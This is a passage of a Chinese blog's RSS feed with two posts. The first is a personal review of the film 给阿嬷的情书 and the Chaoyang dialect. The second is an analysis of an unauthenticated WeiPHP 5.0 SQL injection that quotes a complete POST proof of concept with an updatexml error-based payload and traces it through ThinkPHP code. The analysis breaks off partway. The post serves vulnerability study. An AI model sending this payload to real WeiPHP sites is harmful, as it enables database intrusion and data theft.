            <guid isPermaLink="true">https://z-zh.lol/dearyou</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>&lt;p&gt;看完《给阿嬷的情书》，久久难以平息的除了感动，还有一种很复杂的激动。&lt;/p&gt;
&lt;p&gt;这种激动不只来自一个影迷看到好电影时的惊喜。更私人的部分在于，我也是潮阳人。潮阳这个地方，在潮汕内部一直是独树一帜的存在。很多时候，不用问你从哪里来，一开口，别人就听出来了。那种口音太鲜明，太有脾气，像是一个地方长在喉咙里的印记。&lt;/p&gt;
&lt;p&gt;所以当一部主要使用潮阳话的电影出现在大银幕上，它带来的震动不只是乡音被听见，而是一个常常只存在于日常、饭桌、街巷和老人絮语里的地方，忽然被电影认真地托了起来。&lt;/p&gt;
&lt;p&gt;更难得的是，《给阿嬷的情书》并没有停在地方性里。它当然是潮汕的，是潮阳的，是关于侨批、方言、迁徙和家族记忆的电影。但它最后抵达的地方并不窄。语言可以不通，情感却有自己的路。观众未必听得懂每一句潮阳话，却能听懂等待，听懂情义，听懂一个人把一生藏在日常里的那种沉默。&lt;/p&gt;
&lt;p&gt;这也是这部电影真正让我惊喜的地方。它没有把爱拍得很轻，也没有把观众看得很浅。&lt;/p&gt;
&lt;p&gt;这些年国内影视行业不容易，观众不买账，很多时候不是观众变得多挑剔，而是作品先不尊重观众。它们把爱重复性地拍成两个人谈恋爱，反复拉扯，把情感拍成误会、争吵、慢镜头和崩溃大哭，好像不把情绪端到观众脸上，观众就不会懂。&lt;/p&gt;
&lt;p&gt;但爱明明不是这么单薄的东西。&lt;/p&gt;
&lt;p&gt;爱可以跨越时间，也可以跨越空间。它可以是男女之情，也可以是亲情、恩义、责任、亏欠。它可以发生在年轻人身上，也可以发生在老人身上，也可以发生在他们之间。爱不一定要说出口，不一定要拥抱，不一定要哭到撕心裂肺。片中没有任何尺度镜头，没有亲吻或亲热，但我们依然能深切感受到他们之间浓烈的爱。情义本身就是一种爱，有时候比爱情更重、更难承受，而电影让这种爱自然地流淌出来，通过眼神、细节和日常守候，让观众触碰到最真实的情感。&lt;/p&gt;
&lt;p&gt;《给阿嬷的情书》难得的地方，就在于它真的相信这些。它相信观众能看懂复杂的感情，能看懂沉默，能看懂一个人没有流泪时心里翻过的海。哪怕全片有大量素人演员，甚至主演都不是在从事影视行业相关的工作或学习，只要情感是真的，生活是真的，观众就会跟上。电影不是靠工业包装讨好人，而是靠那股真气撑住了自己。&lt;/p&gt;
&lt;p&gt;导演在采访里提到李安，我看到这里时有一点会心。&lt;/p&gt;
&lt;p&gt;李安的电影常常动人，是因为他的文化处境很复杂。他不是单纯站在传统里说传统，也不是站在外面回头观看东方。他身上有两种力量长期拉扯。中原文化给了他骨相，让他知道什么是家、什么是规矩、什么是忍与让、推与收；外来文化给了他开放的思想视角和表现手段，让他能把这些内核充分展现在作品里。所以他的电影总有一种双重的目光：既亲近，又开放；既温柔，又精准。&lt;/p&gt;
&lt;p&gt;蓝鸿春导演在《给阿嬷的情书》里，也有这种很珍贵的距离感。&lt;/p&gt;
&lt;p&gt;乡愁就是一种人的内核与发展的矛盾。他没有把潮汕拍成一个供人猎奇的地方，也没有把乡愁拍成廉价的怀旧。他更像是站在故乡里面，又稍微退后了一点。退后之后，才看见那些熟悉的东西原来并不寻常。侨批不是旧纸，方言不是口音，阿嬷手上的活计也不是民俗点缀。它们都是时间留下来的证据，是一代人如何活过、忍过、等过的痕迹。&lt;/p&gt;
&lt;p&gt;我还会想到毕赣。&lt;/p&gt;
&lt;p&gt;毕赣和蓝鸿春当然不是同一种导演，但他们身上都有一种扎根乡土的真诚。小制作，本土演员，熟悉的街巷，带着泥土味的人物关系。这些东西也许不够精致，不够“电影工业”。但电影最重要的从来不只是服务和环境。就像吃一餐饭，桌子可以朴素，碗可以普通，但味道不能假。&lt;/p&gt;
&lt;p&gt;一碗叉烧饭，如果真的用心，也可以成为「黯然销魂饭」。你相信食客的舌头，食客自然会知道你有没有下功夫。&lt;/p&gt;
&lt;p&gt;回到电影本身，《给阿嬷的情书》最动人的，其实是它把一段复杂的情感关系拍得很轻，又很重。&lt;/p&gt;
&lt;p&gt;晓伟去泰国寻找传闻中的阿公，表面看是一次寻亲，也带着一点年轻人的现实狼狈。他不是怀着什么宏大的使命出发，他有债务，有逃避，有自己的小算盘。可正是这样一个不够高尚的出发点，反而让后面的真相更有力量。因为人生很多重要的相遇，本来就不是从纯粹开始的。&lt;/p&gt;
&lt;p&gt;片中狄功先生教学生读“红豆生&lt;strong&gt;南&lt;/strong&gt;国，春来发几&lt;strong&gt;枝&lt;/strong&gt;”，又让学生在信里找&lt;strong&gt;相思&lt;/strong&gt;。可看到后来才发现，“南枝”这个名字本身就像一枚暗扣。南枝不是相思的注释，她几乎就是相思长出来的形状。&lt;/p&gt;
&lt;p&gt;三个人的关系也藏在名字中。一个是木，一个是枝，一个是叶。一切起源于木，又由枝把木和叶连接起来。枝不是根，却替根传递了生命；枝不是叶，却默默托举了叶。这样的关系如果处理不好，很容易变成狗血。可电影没有往那个方向走。它没有急着审判，也没有急着煽情。它只是慢慢把几十年的误会、等待和亏欠摊开，让观众自己看见。&lt;/p&gt;
&lt;p&gt;最让我受不了的，是阿嬷的平静。&lt;/p&gt;
&lt;p&gt;全片下来，阿嬷经历的是六十年的坚守，四十年的误解。谜团解开，某种意义上像是“重遇故人”。按一般电影的拍法，这里太容易安排一场大哭，一段控诉，一个迟来的拥抱。可阿嬷没有。她没有崩溃，没有质问，没有把心里的波澜表演出来。&lt;/p&gt;
&lt;p&gt;她还是在做事，她说「她去看橄榄煮好了没」。&lt;/p&gt;
&lt;p&gt;绣花，打橄榄，煮橄榄。&lt;/p&gt;
&lt;p&gt;那些手上的活，一件接一件，像她这些年过日子的方式。人活到后来，好像很多巨大的事都不能立刻改变生活。悲伤来了，饭还是要煮。真相来了，手里的活还是要做。日子并不会因为一封迟到的情书就停下来。人也正是在这种不停下来的生活里，把最深的痛慢慢吞进去。&lt;/p&gt;
&lt;p&gt;这让我想起自己的外婆。&lt;/p&gt;
&lt;p&gt;在外婆伴着流星飞向太空后的那些日子里，我的外公和妈妈也很平静。平静得像什么都没有发生。照常生活，只是做事，说话，吃饭，处理后事。可几十年的相依为命，怎么可能不起波澜呢。只是有些人的悲伤不是流出来的，是沉下去的。沉到身体里，沉到手上的动作里，沉到以后每一个平常的日子里。大音希声，流水静深。&lt;/p&gt;
&lt;p&gt;所以真正的感人，从来不在刻意制造的错过和误会，也不在慢镜头里撕心裂肺的哭喊。感动一定是从心底自己长出来的。不是场面越大，戏就越好。&lt;/p&gt;
&lt;p&gt;「唔系大声就好戏㗎喇啊杨师傅。」&lt;/p&gt;
&lt;p&gt;电影里还有一个情节，影院里很多人笑了。蟑螂煮水当偏方。这个桥段乍看荒诞，甚至有点滑稽。可我笑不太出来。&lt;/p&gt;
&lt;p&gt;在贫穷、闭塞、医疗资源匮乏的地方，人真的会把希望寄托在许多今天看来不可思议的东西上。不是他们愚昧到可笑，而是人在走投无路的时候，什么都愿意抓住。尤其是父母面对孩子的病痛时，哪怕只是一点口口相传的偏方，也可能成为他们最后能做的事。&lt;/p&gt;
&lt;p&gt;可怜天下父母心。有时候从置身事外的角度看，那些偏方荒诞得像王菀之歌里唱的：谁曾在病人的嘴，用怪物当作圣水。可在当事人那里，那不是怪物，是没有办法里的办法。&lt;/p&gt;
&lt;p&gt;这也是电影的好。它没有把乡土拍得干净漂亮，也没有把贫穷拍成可以消费的苦难。它知道生活里本来就有这些不体面、不科学、甚至有点骇人的东西。但它也知道，这些东西背后常常不是猎奇，而是人的无力。&lt;/p&gt;
&lt;p&gt;再说语言。&lt;/p&gt;
&lt;p&gt;我一直觉得潮汕话里有很多误传，也有很多争议。以前很多人不识字，认识很多事物是以发音来记的。没有文字作为标准，口口相传，音就容易变。一个字从这里传到那里，可能就换了样子。比如“走仔”和“早仔”的争议，有些人不承认“走掉的孩子”那层意思，也有些地方确实说“早仔”。潮汕地区太古老，迁徙也太复杂，不同地方保留了不同的古汉语发音和语法。很多事情很难用一个标准答案压平。&lt;/p&gt;
&lt;p&gt;所以我更愿意尊重差异。&lt;/p&gt;
&lt;p&gt;导演大量采用潮阳话作为主语言，当然有他作为潮阳人的私心。但我觉得不止如此。潮汕本来就是十里不同风，百里不同俗。潮汕三市之间，各村各镇都有明显口音差别。如果粗略来说，可以按韩江、榕江、练江这些水系去总结口音派系。河流不只是地理，靠水而居，它也影响了人的往来、村落和语言。于是同区可能不同音，不同市也可能有相近的口音。&lt;/p&gt;
&lt;p&gt;潮阳话属于练江这一支。它在潮汕话里有一种很明显的重量感。音调重，落点狠，说起来有劲，也显得很粗鲁。别的地方的潮汕话，有些听起来像唱歌，轻一点，软一点；潮阳话很多时候像吵架，哪怕只是正常聊天，也似在吵架。&lt;/p&gt;
&lt;p&gt;这种特色放进电影里很有用。&lt;/p&gt;
&lt;p&gt;它能出喜剧效果，因为重音调和生活化对白撞在一起，它能撑住冲突，因为潮阳话一旦急起来，人物身上的火气和委屈会更容易冒出来。片中南枝爸爸和外国人吵架保宅子的段落，就很能看出口音的情绪差异。如果南枝爸爸是潮阳口音，那种放狠话的气势会更冲，更像把人顶到墙角。但他不是潮阳口音，所以吵起来反而被收敛了，带着一点温柔。这不是好坏问题，而是语言本身携带的性格不同。&lt;/p&gt;
&lt;p&gt;相比导演前两部作品，它们更多围绕家庭矛盾与和解，映射小地区的真实家庭生活。以我的角度来看，没有任何一部电影能给我这种真切体验，但也因此受众局限明显。这一次，导演不再把一个小家庭当作主线，而是把更多不同家庭和多样的人物关系浓缩进来，把主线放到爱与情义上，而不是某一个小家的争执与和解。不再需要声嘶力竭的爆发，不再需要传统的闭合式大团圆结尾，相反，他安排了一个足以留名影史的结尾（妄言了）。&lt;/p&gt;
&lt;p&gt;最后一个镜头：阿嬷在泰国坐车，摇下车窗，望向窗外。一个主观视角镜头随阿嬷平移，她看到了她寤寐思服的爱人，看到了他在思念她、在拼搏奋斗。一转角，又遇到还未写下故事的南枝在等车，最后再定格住给爱人买完礼物满心欢喜，充满干劲带着笑容重新出发的木生。用阿嬷的视角回顾故事的开始，就在她来为一切画上句号的时候，他们穿越了时空，在同一片天空下。&lt;/p&gt;

&lt;hr /&gt;
</content:encoded>
        </item>
        <item>
            <title><![CDATA[WeiPHP 5.0 sql注入漏洞bind_follow]]></title>
            <description><![CDATA[Zeoihou Cheng's Blog]]></description>
            <link>https://z-zh.lol/weiphp-50-sql注入漏洞bindfollow</link>
            <guid isPermaLink="true">https://z-zh.lol/weiphp-50-sql注入漏洞bindfollow</guid>
            <pubDate>Sun, 10 May 2026 09:47:38 GMT</pubDate>
            <content:encoded>

&lt;h2&gt;0 前言&lt;/h2&gt;
&lt;p&gt;WeiPHP5.0是一个开源，高效，简洁的移动应用系统，它实现一个后台同时管理和运营多个客户端。WeiPHP5以前的版本都是基于ThinkPHP3.2版本开发，5.0以后升级了ThinkPHP5的架构。&lt;/p&gt;
&lt;p&gt;WeiPHP在5.0版本存在多个SQL注入漏洞，分配了CNVD编号，有一定的影响力，然而网上只流传着poc，没有相关的分析干货，基于学习探究的目的，笔者试着就其中一个SQL注入的漏洞进行分析。&lt;/p&gt;
&lt;p&gt;漏洞来源：&lt;/p&gt;
&lt;p&gt;🔗 &lt;a href=&quot;https://blog.csdn.net/csdn_Pade/article/details/124620983&quot;&gt;WeiPHP5.0 SQL注入漏洞2_N0puple的博客-CSDN博客_weiphp&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;1 poc&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-Plain Text&quot;&gt;POST /weiphp5/public/index.php/home/Index/bind_follow HTTP/1.1
Host: 192.168.249.128:81
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en;q=0.7,zh-HK;q=0.6,en-US;q=0.5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

uid%5b0]=exp&amp;amp;uid[1]=)%20and%20updatexml%0a(1,concat(0x7e,/*!user*/(),0x7e),1)--+&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2 分析&lt;/h2&gt;
&lt;p&gt;是一个免登录的前台sql，危害较大&lt;/p&gt;
&lt;p&gt;先根据报错信息定位漏洞入口文件&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F83b12948-5007-42d6-b812-582746a6cba9%2FUntitled.png?table=block&amp;amp;id=09628a03-93ad-437c-a1ac-195b59f0e11d&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt; 进入&lt;code&gt;/application/home/controller/Index.php&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F4fa1b4d0-f2f2-4ca6-ac11-da65d1fd4ae3%2FUntitled.png?table=block&amp;amp;id=894ca112-2d82-4e9b-aafd-728f84232dfe&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;对thinkphp架构熟悉的话，可以知道 &lt;code&gt;I&lt;/code&gt; 函数就是一个过滤输入的函数，先&lt;code&gt;ctrl&lt;/code&gt; 跟进看看代码&lt;/p&gt;
&lt;p&gt;来到 &lt;code&gt;application/common.php&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Ffdd10962-b8fe-4652-8144-1edf55ee1564%2FUntitled.png?table=block&amp;amp;id=bce86b50-4d6b-46b1-9570-881a2a76d09d&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;继续进入&lt;code&gt; input&lt;/code&gt; 函数&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F9488e2ac-2a35-4ea2-a017-cc5917fccf5f%2FUntitled.png?table=block&amp;amp;id=697f51a2-3d3d-4408-aafb-db792dbf8ae2&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;input&lt;/code&gt; 首先判断输入的数据是否以 &lt;code&gt;?&lt;/code&gt;  开头，是的话去掉 &lt;code&gt;?&lt;/code&gt; ,并将 &lt;code&gt;$has&lt;/code&gt; 赋为 &lt;code&gt;true&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;接着找数据中是否有 &lt;code&gt;.&lt;/code&gt;  ，有的话以 &lt;code&gt;.&lt;/code&gt; 为界限分割数据&lt;/p&gt;
&lt;p&gt;最后看看 &lt;code&gt;has&lt;/code&gt;  函数， &lt;code&gt;thinkphp/library/think/facade/Request.php&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F574940b9-4270-49f4-b744-3788bec705f5%2FUntitled.png?table=block&amp;amp;id=e1a6bc0e-7a82-463e-a071-6e02fb49c93e&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;可见 &lt;code&gt;I&lt;/code&gt; 函数对注入没什么过滤作用&lt;/p&gt;

&lt;p&gt;接着进到 &lt;code&gt;wp_where&lt;/code&gt; 函数&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F375e6a92-1d6b-41bc-b5e9-af818933e155%2FUntitled.png?table=block&amp;amp;id=37fb78cd-4e36-495f-9e3f-19331d88485d&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;遍历 &lt;code&gt;$map&lt;/code&gt; 数组，由于传入的只有两个值，这段代码会进入&lt;code&gt;elseif&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;如果&lt;code&gt;$value[0]==&apos;exp&apos; &lt;/code&gt; ，并且&lt;code&gt;!is_object($value[1]&lt;/code&gt; ，进入&lt;code&gt;Db::raw&lt;/code&gt; &lt;code&gt;thinkphp/library/think/Db.php&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fe7306434-2dbc-417f-899c-28e56a942e78%2FUntitled.png?table=block&amp;amp;id=7214e990-47be-4950-947a-301c16a07b84&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;注意到这是静态方法，&lt;code&gt;Db.php&lt;/code&gt;有一个魔术方法&lt;code&gt;__callStatic()&lt;/code&gt; ，其会在调用没有声明的静态方法时自动调用，作用和原型都类似于 &lt;code&gt;__call()&lt;/code&gt; ，并且由于&lt;code&gt;Db.php&lt;/code&gt;没有继承任何类，&lt;code&gt;static::connect&lt;/code&gt; 在这里调用的是当前类的 &lt;code&gt;connect&lt;/code&gt; 方法&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fad0f8569-34f9-4d4f-95da-8c6bc9004439%2FUntitled.png?table=block&amp;amp;id=4a0ea34b-cace-49f5-b636-c71df90d23d5&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;打下断点发poc跟进&lt;/p&gt;

&lt;p&gt;传入回调的 &lt;code&gt; $method&lt;/code&gt; 和&lt;code&gt; $args&lt;/code&gt; &lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F7e5f2130-1dc1-480c-aae0-748fae03595f%2FUntitled.png?table=block&amp;amp;id=8d5d9721-6568-44be-8f65-259b756846fe&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;进入 &lt;code&gt;connection&lt;/code&gt; 构造函数（&lt;code&gt;\think\db\Query&lt;/code&gt;）&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fbe4bb1d9-c4fc-445e-a25f-3209f4185bf9%2FUntitled.png?table=block&amp;amp;id=8acde3e5-ae18-4b6d-b42e-8198985880c6&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;getConfig&lt;/code&gt; 返回数据库前缀&lt;/p&gt;
&lt;p&gt;进入&lt;code&gt;raw&lt;/code&gt;函数&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F68645d60-d3d6-467c-a2d2-95edda08b270%2FUntitled.png?table=block&amp;amp;id=60d793cd-e29d-4273-aab4-8f8e10566a12&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;进入&lt;code&gt;raw&lt;/code&gt;函数所在的类 &lt;code&gt;think\db\Expression&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;初始化处理传入值后，返回到&lt;code&gt; \think\db\Query::where&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fb66912d4-5682-427e-b1cd-e39dbcc6c939%2FUntitled.png?table=block&amp;amp;id=e6deb6c9-8db0-41b2-b336-17e327d6dff7&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;不断步入到 &lt;code&gt;Index.php&lt;/code&gt;，进入 &lt;code&gt;\think\db\Query::find&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fcf623e7f-b5bd-47bf-8861-b44a4496f522%2FUntitled.png?table=block&amp;amp;id=4aa8a2b4-d174-43b0-8f6f-b1e05eb29401&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;

&lt;p&gt;继续跟进 &lt;code&gt;find()&lt;/code&gt; 函数（ &lt;code&gt;\think\db\Connection::find&lt;/code&gt; ），查找单条记录的函数，分析查询表达式，最后生成查询sql语句&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fa91331a1-4896-430c-a823-6116c609e2ce%2FUntitled.png?table=block&amp;amp;id=9b3b61b2-a76e-42e3-b0a0-ad78dfb44111&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;select&lt;/code&gt; 函数解析并格式化查询语句&lt;/p&gt;
&lt;p&gt;跟进 &lt;code&gt;select&lt;/code&gt; 函数，逐个跟进每个 &lt;code&gt;parse&lt;/code&gt; 函数&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F8ae805cc-14e5-4fd5-a88f-c12a0e05a3b8%2FUntitled.png?table=block&amp;amp;id=6420bce6-8842-4f25-9470-5c5e59d4f79b&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;顾名思义，&lt;code&gt;parseTable&lt;/code&gt; 函数返回 table名，跟进前面几个函数都是返回一些格式化信息，跟到&lt;code&gt;parseWhere&lt;/code&gt; 关键函数&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F4b77b4f7-1924-4149-bb75-ffe4de58989a%2FUntitled.png?table=block&amp;amp;id=40b29964-a627-4ce6-afef-e0616a319879&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;接着到 &lt;code&gt;\think\db\Builder::buildWhere&lt;/code&gt; ，遍历 &lt;code&gt;$val&lt;/code&gt; 数组的值，传给 &lt;code&gt;$value&lt;/code&gt;数组，这里的&lt;code&gt;publicid&lt;/code&gt;是默认的&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fb914be7d-51d4-4eea-8df9-1210b9bbd0bd%2FUntitled.png?table=block&amp;amp;id=83d4b4c9-74c4-4e27-9e39-746eb9c4613d&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;array_shift&lt;/code&gt; 函数的作用是删除数组中的第一个元素，并且返回被删除元素的值，这里的作用可以理解成把数组中的值逐个取出做sql解析&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F337294cd-f2da-41dc-ab5c-255bfd7b0d82%2FUntitled.png?table=block&amp;amp;id=e8b6d717-0b87-48a3-afbe-86aebef4f297&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;$filed&lt;/code&gt; 赋值为 &lt;code&gt;publicid&lt;/code&gt; 后传入 &lt;code&gt;parseWhereItem&lt;/code&gt; 函数&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F4ab19763-cbc1-42ba-b541-87209fc0449c%2FUntitled.png?table=block&amp;amp;id=84160b81-de71-4933-ba93-bd1d0b2cc6d7&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;经过&lt;code&gt;array_shift&lt;/code&gt; 函数后 &lt;code&gt;$value&lt;/code&gt; 也就变成了 &lt;code&gt;{&amp;quot;=&amp;quot;, &amp;quot;&amp;quot;}&lt;/code&gt; ，&lt;code&gt;$exp&lt;/code&gt; 被赋值为 &lt;code&gt;=&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F68a2ca9a-3c0a-4207-87fc-99ade06808fb%2FUntitled.png?table=block&amp;amp;id=07248a60-b2ea-4caf-a2fa-4fd6badef9d0&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;接着进入 &lt;code&gt;\think\db\Query::bind&lt;/code&gt; 函数&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F9a6ecd65-4925-41db-9369-7b29693d5af4%2FUntitled.png?table=block&amp;amp;id=be18420c-2ca6-4eae-8685-60a0f25590bc&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;返回一个 &lt;code&gt;name&lt;/code&gt; 值 &lt;code&gt;ThinkBind_1_&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F9ec03b58-f140-4c62-af8d-439a95d0c32f%2FUntitled.png?table=block&amp;amp;id=90d6f577-3a6f-41df-81a6-20891903f5dd&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;\think\db\Builder::parseWhereItem&lt;/code&gt; 中赋值 &lt;code&gt;:ThinkBind_1_&lt;/code&gt;&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F93107327-9496-4792-8544-b50553e4a1c7%2FUntitled.png?table=block&amp;amp;id=dca6fd4c-b71f-42fa-83bd-20d641383424&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
&lt;p&gt;经过 &lt;code&gt;\think\db\Builder::parseCompare&lt;/code&gt;  处理，最终 &lt;code&gt;\think\db\Builder::parseWhereItem&lt;/code&gt; 返回 &lt;code&gt;`publicid` = :ThinkBind_1_&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;到这里拿到sql语句前半段&lt;/p&gt;
&lt;figure style=&quot;margin:16px 0;&quot;&gt;&lt;img src=&quot;https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F056c041a-2435-46f4-8cd2-4cdd5a912d2d%2FUntitled.png?table=block&amp;amp;id=8121a67c-1fc4-493a-ba28-3007a43cf3b4&amp;amp;cache=v2&quot; alt=&quot;&quot; style=&quot;max-width:100%;height:auto;&quot; /&gt;&lt;/figure&gt;
